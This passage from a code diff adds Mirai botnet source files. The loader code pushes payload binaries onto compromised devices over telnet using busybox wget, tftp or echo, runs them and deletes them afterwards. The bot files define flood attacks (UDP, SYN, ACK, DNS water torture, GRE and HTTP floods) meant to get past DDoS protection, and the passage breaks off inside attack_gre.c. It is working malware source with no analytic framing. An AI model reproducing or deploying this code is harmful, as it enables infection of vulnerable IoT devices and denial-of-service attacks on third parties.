ATOMIC_INC(&wrker->srv->total_wgets);
|
||||
}
|
||||
break;
|
||||
case TELNET_UPLOAD_TFTP:
|
||||
consumed = connection_upload_tftp(conn);
|
||||
if (consumed > 0)
|
||||
{
|
||||
conn->state_telnet = TELNET_RUN_BINARY;
|
||||
conn->timeout = 30;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Finished tftp loading\n", conn->fd);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
|
||||
ATOMIC_INC(&wrker->srv->total_tftps);
|
||||
}
|
||||
else if (consumed < -1) // Did not have permission to TFTP
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd);
|
||||
#endif
|
||||
consumed *= -1;
|
||||
conn->state_telnet = TELNET_UPLOAD_ECHO;
|
||||
conn->info.upload_method = UPLOAD_ECHO;
|
||||
|
||||
conn->timeout = 30;
|
||||
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
|
||||
}
|
||||
break;
|
||||
case TELNET_RUN_BINARY:
|
||||
if ((consumed = connection_verify_payload(conn)) > 0)
|
||||
{
|
||||
if (consumed >= 255)
|
||||
{
|
||||
conn->success = TRUE;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Succesfully ran payload\n", conn->fd);
|
||||
#endif
|
||||
consumed -= 255;
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Failed to execute payload\n", conn->fd);
|
||||
#endif
|
||||
if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0)
|
||||
{
|
||||
conn->echo_load_pos = 0;
|
||||
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
|
||||
conn->bin = binary_get_by_arch(conn->info.arch);
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
conn->retry_bin = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
#ifndef DEBUG
|
||||
util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n");
|
||||
#else
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
#endif
|
||||
conn->state_telnet = TELNET_CLEANUP;
|
||||
conn->timeout = 10;
|
||||
}
|
||||
break;
|
||||
case TELNET_CLEANUP:
|
||||
if ((consumed = connection_consume_cleanup(conn)) > 0)
|
||||
{
|
||||
int tfd = conn->fd;
|
||||
|
||||
connection_close(conn);
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Cleaned up files\n", tfd);
|
||||
#endif
|
||||
}
|
||||
default:
|
||||
consumed = 0;
|
||||
break;
|
||||
}
|
||||
|
||||
if (consumed == 0) // We didn't consume any data
|
||||
break;
|
||||
else
|
||||
{
|
||||
if (consumed > conn->rdbuf_pos)
|
||||
{
|
||||
consumed = conn->rdbuf_pos;
|
||||
//printf("consuming more then our position!\n");
|
||||
//abort();
|
||||
}
|
||||
conn->rdbuf_pos -= consumed;
|
||||
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
|
||||
conn->rdbuf[conn->rdbuf_pos] = 0;
|
||||
}
|
||||
|
||||
if (conn->rdbuf_pos > 8196)
|
||||
{
|
||||
printf("oversized buffer! 2\n");
|
||||
abort();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void *timeout_thread(void *arg)
|
||||
{
|
||||
struct server *srv = (struct server *)arg;
|
||||
int i, ct;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
ct = time(NULL);
|
||||
|
||||
for (i = 0; i < (srv->max_open * 2); i++)
|
||||
{
|
||||
struct connection *conn = srv->estab_conns[i];
|
||||
|
||||
if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Timed out\n", conn->fd);
|
||||
#endif
|
||||
if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0)
|
||||
{
|
||||
conn->last_recv = time(NULL);
|
||||
util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n");
|
||||
conn->ctrlc_retry = TRUE;
|
||||
|
||||
conn->echo_load_pos = 0;
|
||||
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
|
||||
conn->bin = binary_get_by_arch(conn->info.arch);
|
||||
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
|
||||
conn->state_telnet = TELNET_UPLOAD_METHODS;
|
||||
conn->retry_bin = TRUE;
|
||||
} else {
|
||||
connection_close(conn);
|
||||
}
|
||||
} else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline)
|
||||
{
|
||||
conn->output_buffer.deadline = 0;
|
||||
util_sockprintf(conn->fd, conn->output_buffer.data);
|
||||
}
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
63
loader/src/telnet_info.c
Executable file
63
loader/src/telnet_info.c
Executable file
@ -0,0 +1,63 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/telnet_info.h"
|
||||
|
||||
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info)
|
||||
{
|
||||
if (user != NULL)
|
||||
strcpy(info->user, user);
|
||||
if (pass != NULL)
|
||||
strcpy(info->pass, pass);
|
||||
if (arch != NULL)
|
||||
strcpy(info->arch, arch);
|
||||
info->addr = addr;
|
||||
info->port = port;
|
||||
|
||||
info->has_auth = user != NULL || pass != NULL;
|
||||
info->has_arch = arch != NULL;
|
||||
|
||||
return info;
|
||||
}
|
||||
|
||||
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch
|
||||
{
|
||||
char *conn, *auth, *arch;
|
||||
char *addr_str, *port_str, *user = NULL, *pass = NULL;
|
||||
ipv4_t addr;
|
||||
port_t port;
|
||||
|
||||
if ((conn = strtok(str, " ")) == NULL)
|
||||
return NULL;
|
||||
if ((auth = strtok(NULL, " ")) == NULL)
|
||||
return NULL;
|
||||
arch = strtok(NULL, " "); // We don't care if we don't know the arch
|
||||
|
||||
if ((addr_str = strtok(conn, ":")) == NULL)
|
||||
return NULL;
|
||||
if ((port_str = strtok(NULL, ":")) == NULL)
|
||||
return NULL;
|
||||
|
||||
if (strlen(auth) == 1)
|
||||
{
|
||||
if (auth[0] == ':')
|
||||
{
|
||||
user = "";
|
||||
pass = "";
|
||||
}
|
||||
else if (auth[0] != '?')
|
||||
return NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
user = strtok(auth, ":");
|
||||
pass = strtok(NULL, ":");
|
||||
}
|
||||
|
||||
addr = inet_addr(addr_str);
|
||||
port = htons(atoi(port_str));
|
||||
|
||||
return telnet_info_new(user, pass, arch, addr, port, out);
|
||||
}
|
174
loader/src/util.c
Executable file
174
loader/src/util.c
Executable file
@ -0,0 +1,174 @@
|
||||
#include <stdint.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdarg.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/util.h"
|
||||
#include "headers/server.h"
|
||||
|
||||
void hexDump (char *desc, void *addr, int len) {
|
||||
int i;
|
||||
unsigned char buff[17];
|
||||
unsigned char *pc = (unsigned char*)addr;
|
||||
|
||||
// Output description if given.
|
||||
if (desc != NULL)
|
||||
printf ("%s:\n", desc);
|
||||
|
||||
if (len == 0) {
|
||||
printf(" ZERO LENGTH\n");
|
||||
return;
|
||||
}
|
||||
if (len < 0) {
|
||||
printf(" NEGATIVE LENGTH: %i\n",len);
|
||||
return;
|
||||
}
|
||||
|
||||
// Process every byte in the data.
|
||||
for (i = 0; i < len; i++) {
|
||||
// Multiple of 16 means new line (with line offset).
|
||||
|
||||
if ((i % 16) == 0) {
|
||||
// Just don't print ASCII for the zeroth line.
|
||||
if (i != 0)
|
||||
printf (" %s\n", buff);
|
||||
|
||||
// Output the offset.
|
||||
printf (" %04x ", i);
|
||||
}
|
||||
|
||||
// Now the hex code for the specific character.
|
||||
printf (" %02x", pc[i]);
|
||||
|
||||
// And store a printable ASCII character for later.
|
||||
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
|
||||
buff[i % 16] = '.';
|
||||
else
|
||||
buff[i % 16] = pc[i];
|
||||
buff[(i % 16) + 1] = '\0';
|
||||
}
|
||||
|
||||
// Pad out last line if not exactly 16 characters.
|
||||
while ((i % 16) != 0) {
|
||||
printf (" ");
|
||||
i++;
|
||||
}
|
||||
|
||||
// And print the final ASCII bit.
|
||||
printf (" %s\n", buff);
|
||||
}
|
||||
|
||||
int util_socket_and_bind(struct server *srv)
|
||||
{
|
||||
struct sockaddr_in bind_addr;
|
||||
int i, fd, start_addr;
|
||||
BOOL bound = FALSE;
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
return -1;
|
||||
|
||||
bind_addr.sin_family = AF_INET;
|
||||
bind_addr.sin_port = 0;
|
||||
|
||||
// Try to bind on the first available address
|
||||
start_addr = rand() % srv->bind_addrs_len;
|
||||
for (i = 0; i < srv->bind_addrs_len; i++)
|
||||
{
|
||||
bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr];
|
||||
if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
if (++start_addr == srv->bind_addrs_len)
|
||||
start_addr = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
bound = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!bound)
|
||||
{
|
||||
close(fd);
|
||||
#ifdef DEBUG
|
||||
printf("Failed to bind on any address\n");
|
||||
#endif
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Set the socket in nonblocking mode
|
||||
if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n");
|
||||
#endif
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
|
||||
{
|
||||
int i, matched = 0;
|
||||
|
||||
if (mem_len > buf_len)
|
||||
return -1;
|
||||
|
||||
for (i = 0; i < buf_len; i++)
|
||||
{
|
||||
if (buf[i] == mem[matched])
|
||||
{
|
||||
if (++matched == mem_len)
|
||||
return i + 1;
|
||||
}
|
||||
else
|
||||
matched = 0;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
BOOL util_sockprintf(int fd, const char *fmt, ...)
|
||||
{
|
||||
char buffer[BUFFER_SIZE + 2];
|
||||
va_list args;
|
||||
int len;
|
||||
|
||||
va_start(args, fmt);
|
||||
len = vsnprintf(buffer, BUFFER_SIZE, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
if (len > 0)
|
||||
{
|
||||
if (len > BUFFER_SIZE)
|
||||
len = BUFFER_SIZE;
|
||||
|
||||
#ifdef DEBUG
|
||||
hexDump("TELOUT", buffer, len);
|
||||
#endif
|
||||
if (send(fd, buffer, len, MSG_NOSIGNAL) != len)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
char *util_trim(char *str)
|
||||
{
|
||||
char *end;
|
||||
|
||||
while(isspace(*str))
|
||||
str++;
|
||||
|
||||
if(*str == 0)
|
||||
return str;
|
||||
|
||||
end = str + strlen(str) - 1;
|
||||
while(end > str && isspace(*end))
|
||||
end--;
|
||||
|
||||
*(end+1) = 0;
|
||||
|
||||
return str;
|
||||
}
|
250
mirai/bot/attack.c
Executable file
250
mirai/bot/attack.c
Executable file
@ -0,0 +1,250 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "rand.h"
|
||||
#include "util.h"
|
||||
#include "scanner.h"
|
||||
|
||||
|
||||
uint8_t methods_len = 0;
|
||||
struct attack_method **methods = NULL;
|
||||
int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0};
|
||||
|
||||
BOOL attack_init(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
|
||||
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
|
||||
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
|
||||
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
|
||||
|
||||
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
|
||||
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
|
||||
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
|
||||
|
||||
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
|
||||
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
|
||||
|
||||
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
|
||||
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void attack_kill_all(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[attack] Killing all ongoing attacks\n");
|
||||
#endif
|
||||
|
||||
for (i = 0; i < ATTACK_CONCURRENT_MAX; i++)
|
||||
{
|
||||
if (attack_ongoing[i] != 0)
|
||||
kill(attack_ongoing[i], 9);
|
||||
attack_ongoing[i] = 0;
|
||||
}
|
||||
|
||||
#ifdef MIRAI_TELNET
|
||||
scanner_init();
|
||||
#endif
|
||||
}
|
||||
|
||||
void attack_parse(char *buf, int len)
|
||||
{
|
||||
int i;
|
||||
uint32_t duration;
|
||||
ATTACK_VECTOR vector;
|
||||
uint8_t targs_len, opts_len;
|
||||
struct attack_target *targs = NULL;
|
||||
struct attack_option *opts = NULL;
|
||||
|
||||
// Read in attack duration uint32_t
|
||||
if (len < sizeof (uint32_t))
|
||||
goto cleanup;
|
||||
duration = ntohl(*((uint32_t *)buf));
|
||||
buf += sizeof (uint32_t);
|
||||
len -= sizeof (uint32_t);
|
||||
|
||||
// Read in attack ID uint8_t
|
||||
if (len == 0)
|
||||
goto cleanup;
|
||||
vector = (ATTACK_VECTOR)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
// Read in target count uint8_t
|
||||
if (len == 0)
|
||||
goto cleanup;
|
||||
targs_len = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
if (targs_len == 0)
|
||||
goto cleanup;
|
||||
|
||||
// Read in all targs
|
||||
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
|
||||
goto cleanup;
|
||||
targs = calloc(targs_len, sizeof (struct attack_target));
|
||||
for (i = 0; i < targs_len; i++)
|
||||
{
|
||||
targs[i].addr = *((ipv4_t *)buf);
|
||||
buf += sizeof (ipv4_t);
|
||||
targs[i].netmask = (uint8_t)*buf++;
|
||||
len -= (sizeof (ipv4_t) + sizeof (uint8_t));
|
||||
|
||||
targs[i].sock_addr.sin_family = AF_INET;
|
||||
targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
|
||||
}
|
||||
|
||||
// Read in flag count uint8_t
|
||||
if (len < sizeof (uint8_t))
|
||||
goto cleanup;
|
||||
opts_len = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
// Read in all opts
|
||||
if (opts_len > 0)
|
||||
{
|
||||
opts = calloc(opts_len, sizeof (struct attack_option));
|
||||
for (i = 0; i < opts_len; i++)
|
||||
{
|
||||
uint8_t val_len;
|
||||
|
||||
// Read in key uint8
|
||||
if (len < sizeof (uint8_t))
|
||||
goto cleanup;
|
||||
opts[i].key = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
// Read in data length uint8
|
||||
if (len < sizeof (uint8_t))
|
||||
goto cleanup;
|
||||
val_len = (uint8_t)*buf++;
|
||||
len -= sizeof (uint8_t);
|
||||
|
||||
if (len < val_len)
|
||||
goto cleanup;
|
||||
opts[i].val = calloc(val_len + 1, sizeof (char));
|
||||
util_memcpy(opts[i].val, buf, val_len);
|
||||
buf += val_len;
|
||||
len -= val_len;
|
||||
}
|
||||
}
|
||||
|
||||
errno = 0;
|
||||
attack_start(duration, vector, targs_len, targs, opts_len, opts);
|
||||
|
||||
// Cleanup
|
||||
cleanup:
|
||||
if (targs != NULL)
|
||||
free(targs);
|
||||
if (opts != NULL)
|
||||
free_opts(opts, opts_len);
|
||||
}
|
||||
|
||||
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int pid1, pid2;
|
||||
|
||||
pid1 = fork();
|
||||
if (pid1 == -1 || pid1 > 0)
|
||||
return;
|
||||
|
||||
pid2 = fork();
|
||||
if (pid2 == -1)
|
||||
exit(0);
|
||||
else if (pid2 == 0)
|
||||
{
|
||||
sleep(duration);
|
||||
kill(getppid(), 9);
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < methods_len; i++)
|
||||
{
|
||||
if (methods[i]->vector == vector)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[attack] Starting attack...\n");
|
||||
#endif
|
||||
methods[i]->func(targs_len, targs, opts_len, opts);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//just bail if the function returns
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < opts_len; i++)
|
||||
{
|
||||
if (opts[i].key == opt)
|
||||
return opts[i].val;
|
||||
}
|
||||
|
||||
return def;
|
||||
}
|
||||
|
||||
int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def)
|
||||
{
|
||||
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
|
||||
|
||||
if (val == NULL)
|
||||
return def;
|
||||
else
|
||||
return util_atoi(val, 10);
|
||||
}
|
||||
|
||||
uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def)
|
||||
{
|
||||
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
|
||||
|
||||
if (val == NULL)
|
||||
return def;
|
||||
else
|
||||
return inet_addr(val);
|
||||
}
|
||||
|
||||
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
|
||||
{
|
||||
struct attack_method *method = calloc(1, sizeof (struct attack_method));
|
||||
|
||||
method->vector = vector;
|
||||
method->func = func;
|
||||
|
||||
methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
|
||||
methods[methods_len++] = method;
|
||||
}
|
||||
|
||||
static void free_opts(struct attack_option *opts, int len)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (opts == NULL)
|
||||
return;
|
||||
|
||||
for (i = 0; i < len; i++)
|
||||
{
|
||||
if (opts[i].val != NULL)
|
||||
free(opts[i].val);
|
||||
}
|
||||
free(opts);
|
||||
}
|
170
mirai/bot/attack.h
Executable file
170
mirai/bot/attack.h
Executable file
@ -0,0 +1,170 @@
|
||||
#pragma once
|
||||
|
||||
#include <time.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <linux/tcp.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "protocol.h"
|
||||
|
||||
#define ATTACK_CONCURRENT_MAX 8
|
||||
|
||||
#ifdef DEBUG
|
||||
#define HTTP_CONNECTION_MAX 1000
|
||||
#else
|
||||
#define HTTP_CONNECTION_MAX 256
|
||||
#endif
|
||||
|
||||
struct attack_target {
|
||||
struct sockaddr_in sock_addr;
|
||||
ipv4_t addr;
|
||||
uint8_t netmask;
|
||||
};
|
||||
|
||||
struct attack_option {
|
||||
char *val;
|
||||
uint8_t key;
|
||||
};
|
||||
|
||||
typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
typedef uint8_t ATTACK_VECTOR;
|
||||
|
||||
#define ATK_VEC_UDP 0 /* Straight up UDP flood */
|
||||
#define ATK_VEC_VSE 1 /* Valve Source Engine query flood */
|
||||
#define ATK_VEC_DNS 2 /* DNS water torture */
|
||||
#define ATK_VEC_SYN 3 /* SYN flood with options */
|
||||
#define ATK_VEC_ACK 4 /* ACK flood */
|
||||
#define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */
|
||||
#define ATK_VEC_GREIP 6 /* GRE IP flood */
|
||||
#define ATK_VEC_GREETH 7 /* GRE Ethernet flood */
|
||||
//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */
|
||||
#define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
|
||||
#define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */
|
||||
|
||||
#define ATK_OPT_PAYLOAD_SIZE 0 // What should the size of the packet data be?
|
||||
#define ATK_OPT_PAYLOAD_RAND 1 // Should we randomize the packet data contents?
|
||||
#define ATK_OPT_IP_TOS 2 // tos field in IP header
|
||||
#define ATK_OPT_IP_IDENT 3 // ident field in IP header
|
||||
#define ATK_OPT_IP_TTL 4 // ttl field in IP header
|
||||
#define ATK_OPT_IP_DF 5 // Dont-Fragment bit set
|
||||
#define ATK_OPT_SPORT 6 // Should we force a source port? (0 = random)
|
||||
#define ATK_OPT_DPORT 7 // Should we force a dest port? (0 = random)
|
||||
#define ATK_OPT_DOMAIN 8 // Domain name for DNS attack
|
||||
#define ATK_OPT_DNS_HDR_ID 9 // Domain name header ID
|
||||
//#define ATK_OPT_TCPCC 10 // TCP congestion control
|
||||
#define ATK_OPT_URG 11 // TCP URG header flag
|
||||
#define ATK_OPT_ACK 12 // TCP ACK header flag
|
||||
#define ATK_OPT_PSH 13 // TCP PSH header flag
|
||||
#define ATK_OPT_RST 14 // TCP RST header flag
|
||||
#define ATK_OPT_SYN 15 // TCP SYN header flag
|
||||
#define ATK_OPT_FIN 16 // TCP FIN header flag
|
||||
#define ATK_OPT_SEQRND 17 // Should we force the sequence number? (TCP only)
|
||||
#define ATK_OPT_ACKRND 18 // Should we force the ack number? (TCP only)
|
||||
#define ATK_OPT_GRE_CONSTIP 19 // Should the encapsulated destination address be the same as the target?
|
||||
#define ATK_OPT_METHOD 20 // Method for HTTP flood
|
||||
#define ATK_OPT_POST_DATA 21 // Any data to be posted with HTTP flood
|
||||
#define ATK_OPT_PATH 22 // The path for the HTTP flood
|
||||
#define ATK_OPT_HTTPS 23 // Is this URL SSL/HTTPS?
|
||||
#define ATK_OPT_CONNS 24 // Number of sockets to use
|
||||
#define ATK_OPT_SOURCE 25 // Source IP
|
||||
|
||||
struct attack_method {
|
||||
ATTACK_FUNC func;
|
||||
ATTACK_VECTOR vector;
|
||||
};
|
||||
|
||||
struct attack_stomp_data {
|
||||
ipv4_t addr;
|
||||
uint32_t seq, ack_seq;
|
||||
port_t sport, dport;
|
||||
};
|
||||
|
||||
#define HTTP_CONN_INIT 0 // Inital state
|
||||
#define HTTP_CONN_RESTART 1 // Scheduled to restart connection next spin
|
||||
#define HTTP_CONN_CONNECTING 2 // Waiting for it to connect
|
||||
#define HTTP_CONN_HTTPS_STUFF 3 // Handle any needed HTTPS stuff such as negotiation
|
||||
#define HTTP_CONN_SEND 4 // Sending HTTP request
|
||||
#define HTTP_CONN_SEND_HEADERS 5 // Send HTTP headers
|
||||
#define HTTP_CONN_RECV_HEADER 6 // Get HTTP headers and check for things like location or cookies etc
|
||||
#define HTTP_CONN_RECV_BODY 7 // Get HTTP body and check for cf iaua mode
|
||||
#define HTTP_CONN_SEND_JUNK 8 // Send as much data as possible
|
||||
#define HTTP_CONN_SNDBUF_WAIT 9 // Wait for socket to be available to be written to
|
||||
#define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data.
|
||||
#define HTTP_CONN_CLOSED 11 // Close connection and move on
|
||||
|
||||
#define HTTP_RDBUF_SIZE 1024
|
||||
#define HTTP_HACK_DRAIN 64
|
||||
#define HTTP_PATH_MAX 256
|
||||
#define HTTP_DOMAIN_MAX 128
|
||||
#define HTTP_COOKIE_MAX 5 // no more then 5 tracked cookies
|
||||
#define HTTP_COOKIE_LEN_MAX 128 // max cookie len
|
||||
#define HTTP_POST_MAX 512 // max post data len
|
||||
|
||||
#define HTTP_PROT_DOSARREST 1 // Server: DOSarrest
|
||||
#define HTTP_PROT_CLOUDFLARE 2 // Server: cloudflare-nginx
|
||||
|
||||
struct attack_http_state {
|
||||
int fd;
|
||||
uint8_t state;
|
||||
int last_recv;
|
||||
int last_send;
|
||||
ipv4_t dst_addr;
|
||||
char user_agent[512];
|
||||
char path[HTTP_PATH_MAX + 1];
|
||||
char domain[HTTP_DOMAIN_MAX + 1];
|
||||
char postdata[HTTP_POST_MAX + 1];
|
||||
char method[9];
|
||||
char orig_method[9];
|
||||
|
||||
int protection_type;
|
||||
|
||||
int keepalive;
|
||||
int chunked;
|
||||
int content_length;
|
||||
|
||||
int num_cookies;
|
||||
char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX];
|
||||
|
||||
int rdbuf_pos;
|
||||
char rdbuf[HTTP_RDBUF_SIZE];
|
||||
};
|
||||
|
||||
struct attack_cfnull_state {
|
||||
int fd;
|
||||
uint8_t state;
|
||||
int last_recv;
|
||||
int last_send;
|
||||
ipv4_t dst_addr;
|
||||
char user_agent[512];
|
||||
char domain[HTTP_DOMAIN_MAX + 1];
|
||||
int to_send;
|
||||
};
|
||||
|
||||
BOOL attack_init(void);
|
||||
void attack_kill_all(void);
|
||||
void attack_parse(char *, int);
|
||||
void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *);
|
||||
int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int);
|
||||
uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t);
|
||||
|
||||
/* Actual attacks */
|
||||
void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
void attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *);
|
||||
|
||||
static void add_attack(ATTACK_VECTOR, ATTACK_FUNC);
|
||||
static void free_opts(struct attack_option *, int);
|
1175
mirai/bot/attack_app.c
Executable file
1175
mirai/bot/attack_app.c
Executable file
File diff suppressed because it is too large
Load Diff
318
mirai/bot/attack_gre.c
Executable file
318
mirai/bot/attack_gre.c
Executable file
@ -0,0 +1,318 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "includes.h"
|
||||
#include "attack.h"
|
||||
#include "protocol.h"
|
||||
#include "util.h"
|
||||
#include "checksum.h"
|
||||
#include "rand.h"
|
||||
|
||||
void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
|
||||
{
|
||||
int i, fd;
|
||||
char **pkts = calloc(targs_len, sizeof (char *));
|
||||
uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
|
||||
uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
|
||||
